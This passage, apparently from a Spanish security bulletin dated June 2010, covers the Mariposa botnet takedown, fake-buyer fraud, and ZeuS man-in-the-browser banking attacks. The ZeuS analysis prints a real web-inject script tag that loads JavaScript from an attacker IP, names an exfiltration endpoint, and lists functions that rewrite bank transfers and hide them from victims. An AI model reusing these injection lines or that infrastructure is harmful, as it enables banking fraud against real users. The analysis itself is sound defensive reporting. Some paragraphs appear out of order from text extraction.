Labs seguridad y políticas industriales Mariposa botnet L a desarticulación por parte del Grupo de Delitos Telemáticos de la Guardia Civil (UCO) de una botnet administrada desde España y con más de 13 millones equipos infectados es una de las noticias más notables en cuanto a lucha contra el fraude a nivel mundial. Mariposa es un troyano con capacidad de descargar e instalar otros códigos maliciosos en los equipos infectados, además de permitir la administración remota mediante un panel de control. Lleva en circulación desde finales de 2007 y su precio de venta ronda los 1.000 euros. Los detenidos habían comprado este troyano y logrado el control de un asombroso número de equipos infectados, creando una botnet de proporciones fuera de lo habitual. No obstante no tienen relación con la creación del código malicioso utilizado. de la botnet en diciembre de 2009. Las conexiones a los servidores siempre se realizaban desde servicios de VPN anonimizados, aunque en una de las conexiones un administrador cometió el error de conectar desde la IP de su domicilio. Además, alguno de los servidores de control estaban registrados con los nombres reales de los administradores en un registrador privado y que finalmente colaboró con las fuerzas del orden, lo que condujo a la detención del primero de ellos durante el mes de enero en Bilbao. Los arrestos concluyeron en marzo. El grupo que controlaba la botnet se autodenominaba DDP Team (Días De Pesadilla Team), siendo Netkairo su líder. En cuanto al número de equipos infectados hay que aclarar que son todos los que han llegado a formar parte de la botnet en algún momento de su existencia, por lo que es difícil estimar el tamaño real. No obstante queda claro que se trata de una de las más grandes del mundo. Los detenidos tenían datos personales y bancarios de las víctimas, llegando a más de 800.000 afectados en 190 países. También se monetizaba la botnet mediante su alquiler a otros grupos de delincuentes que instalaban otro código malicioso en los equipos de las víctimas, incluyendo troyanos bancarios. Finalmente, se utilizaba para ataques de denegación de servicio distribuidos. A pesar de todo ello, la botnet ha conseguido pasar relativamente desapercibida durante todo este tiempo. Las primeras pistas para las detenciones surgieron a partir de un grupo de voluntarios conocido como Mariposa Working Group (similar al establecido para combatir Conficker), y que lograron deshabilitar algunos servidores de control No obstante, según César Lorenzana, jefe adjunto de la división de crimen tecnológico de la Guardia Civil, es difícil conseguir un delito de prisión para los detenidos por falta de una legislación específica para delitos cibernéticos. Fuente junio 2010 176 Labs seguridad y políticas industriales pida el envío de la mercancía a otro distinto. En el correo se piden los datos bancarios del vendedor para realizar el pago, dando igual que se le envíen datos falsos. Al poco tiempo se recibe un correo electrónico simulando ser el banco origen en el que indican que la transferencia hacia nuestro banco falso se ha realizado de manera correcta y que una vez recibido el comprobante de envío, podremos retirar el dinero de nuestra cuenta. Normalmente el correo que se recibe por parte de la falsa entidad bancaria es una burda falsificación, como puede apreciarse en el ejemplo de la derecha. El objetivo es que una vez recibido este correo, el comprador fraudulento empieza a ejercer presión indicando que si no se envía el producto procederá a realizar denuncia. En una siguiente fase, puede que se envíen correos falsificados simulando ser algún cuerpo policial (normalmente el FBI). Ejemplo de correo del comprador antiguo fraude, nuevas fórmulas También hay otro tipo de fraudes complementarios o adicionales a los tecnológicos más habituales. En este Los intentos de fraude tradicionales utilizando medios tecnológicos parece que se recrudecen. El uso habitual de todo tipo de plataformas que propician este tipo de fraude junto con la sensación de impunidad multiplican el número de casos que abusa de usuarios confiados. A pesar de ser un tipo de fraude en muchos casos burdo es real, y precisamente por su poca elaboración muchas veces pasa desapercibido independientemente de lo efectivo que sea. Un ejemplo claro de este tipo de actividades es la extensión del conocido fraude nigeriano, y que hoy en día se está llevando a cabo, es la de comprar objetos en foros legítimos a un precio superior al demandado por el vendedor. Éste recibe un correo por parte de un comprador potencial no interesándose por el producto, sino ofreciéndose a su compra directamente. En dicho correo es habitual que el comprador se identifique como originario de un país pero 177 junio 2010 Esquema típico de ataque MITB: Los datos se modifican antes de enviarse a la entidad bancaria caso se trata de ingeniería social mediante medios como teléfono o SMS a través de datos obtenidos de esquemas de phishing o troyanos. De este modo se evita abusar en cuanto a pedir todos los datos necesarios para realizar una transferencia fraudulenta en el código HTML inyectado en el navegador de la víctima para evitar suspicacias del usuario. Poco a poco aumenta la concienciación acerca de no introducir nunca ciertos datos en el navegador, mientras que otros como el teléfono no levantan sospechas. De este modo, una vez el delincuente obtiene el teléfono realiza una llamada para obtener el resto de datos que necesita haciéndose pasar por la entidad bancaria. Este tipo de operativa cada vez es más habitual. Como ejemplo para tomar consciencia de hasta qué punto este tipo de táctica tiene éxito, sirva el de una empresa de falsos antivirus basada en Rusia que tuvo que abrir un centro de atención al cliente en Alemania para atender las peticiones de sus “clientes”. Sin duda es un tipo de fraude con recorrido y que aumentará mientras el usuario no evite ofrecer sus datos a partir de una simple llamada. en profundidad Ataques MITB de Zeus Los ataques MITB (Man in the Browser) son similares a los ataques MITM (Man in the Middle), en los que un atacante es capaz de situarse en el medio de una conversación sin el conocimiento de los interlocutores originales. De este modo el atacante es capaz de observar la comunicación y obtener información confidencial. Hasta ahora el escenario típico para ZeuS era el de MITM, de modo que los delincuentes infectaban equipos y posteriormente capturaban el tráfico en busca de credenciales de acceso a servicios como el de banca en línea. A continuación los datos capturados se enviaban a una dropzone (el servidor malicioso en el que se almacenan los datos robados). Dichos datos se usan posteriormente para realizar transferencias fraudulentas con las credenciales del usuario infectado. Otros troyanos como URLZone son capaces de realizar ataques MITB. En este caso el troyano no se limita a la captura de credenciales, sino que en el momento en que el equipo infectado intente realizar una transferencia legítima, el troyano modifica los datos de la misma sin el conocimiento del usuario. junio 2010 178 Cuando posteriormente el banco confirma la transacción y retorna los datos acerca de la cuenta destino y el importe, el troyano vuelve a cambiar dichos valores para mostrar al usuario los de la transferencia legítima. Además, algunos troyanos incluso llegan a cambiar el balance de la cuenta de la víctima para que concuerde con la transferencia original en lugar de reflejarse el importe de la fraudulenta. De este modo la transferencia a la cuenta del delincuente se realiza de forma inmediata y el usuario legítimo piensa que todo ha ido según sus planes, dando un tiempo precioso a los delincuentes para mover este dinero rápidamente haciendo su recuperación muy complicada. Zeus por sí mismo no implementa esta funcionalidad. Normalmente los intentos de transferencia se hacen a través de los datos almacenados en la dropzone, que pueden tener semanas de antigüedad y por lo tanto, estar obsoletos. Este mes se han detectado los primeros intentos de Zeus para obtener este tipo de funcionalidad sin disponer del soporte del troyano para ello. El código que lo hace posible no se encuentra en el troyano, sino en los Labs archivos de configuración que este utiliza. Es una aproximación ingeniosa que tiene un gran potencial, dado que el cambio en los archivos de configuración es sencillo y tiene un gran potencial de rápido crecimiento, debido a que el troyano original no necesita ser actualizado. De este modo, cuando una víctima visita la web de una entidad afectada, en lugar de la típica inyección de código HTML/AJAX/JS almacenada en el archivo de configuración, se inyecta un código Java Script situado en un servidor externo. Éste implementa la lógica para realizar este tipo de ataque. Sin duda un ejemplo es el modo más sencillo de comprobar su funcionamiento: seguridad y políticas industriales El código JavaScript lo primero que hace es intentar localizar en qué operativa de su banca electrónica se encuentra el usuario, como “Posición Global”, “Últimos movimientos” o “Transferencias”. En función de ello implementa distintas funcionalidades. Es fácil deducir su funcionamiento simplemente viendo los nombres de función que utiliza en el código: [INJDATA] ><script language="JavaScript" src="hxxp://95.211.131.70/code.php"></ script> <script language="JavaScript">document.body.style.visibility='visible';</script [/INJDATA] get_login() get_name() correct_cuento(cuento,plus) set_i_cuenta(value) set_i_sum(sum) set_i_iban(value) set_i_bank_name(value) set_i_name(value) set_i_purpose(value) hide_f1_alert() change_f3_alert() hide_transaction(date,sum) correct_balanse_page(sum,bill) pulsarCoord(elemento, coordenada) comprobarCoordenada(coordenada) difuminarTeclado() save_trans() Referencia en el archivo de configuración al código JavaScript externo en code.php Los nombres de función son auto explicativos de su funcionamiento. El código inyectado referencia a otro archivo en el mismo servidor: hxxp://95.211.131.70/lnk.php Se trata de la localización a la que se envía la información y desde donde se recibe. Por ejemplo, para recibir a qué cuenta se debe realizar la transferencia maliciosa, el importe de la misms o informar a los delincuentes acerca de cuándo una transferencia fraudulenta se realiza con éxito. El código implementa medidas para ofuscar sus acciones al usuario legítimo. Todo el código parece encontrarse en una etapa de pruebas, aunque funciona correctamente. Dentro del código hay funciones definidas que no se llegan a usar en ningún momento, así como abundantes comentarios, lo que sugiere que los delincuentes se encuentran en una etapa final de desarrollo. El troyano realiza comprobaciones acerca del navegador usado por la víctima para utilizar distintas funcionalidades, asegurando de este modo la compatibilidad. Sin duda se trata de una característica notable dada la gran base de equipos infectados por ZeuS existentes en la actualidad y la facilidad de realizar una actualización masiva de sus archivos de configuración añadiendo esta nueva funcionalidad y sin ninguna necesidad de actualizar el binario del troyano, lo que podría levantar sospechas. Durante los próximos meses estaremos atentos a cualquier novedad en este aspecto y a la evolución de esta nueva y peligrosa modalidad de ataque. En general la funcionalidad implementada intenta cambiar los datos de una transferencia legítima del usuario, informar a los delincuentes acerca de la transferencia realizada y mostrar a la víctima los datos de su transferencia original, tanto en el resumen de la transferencia realizada como en el balance de su cuenta. Función para informar a los delincuentes de modo inmediato acerca de una transferencia fraudulenta: número de cuenta, cantidad, etc. Función para informar a los delincuentes de modo inmediato acerca de una transferencia fraudulenta: número de cuenta, cantidad, etc. 179 junio 2010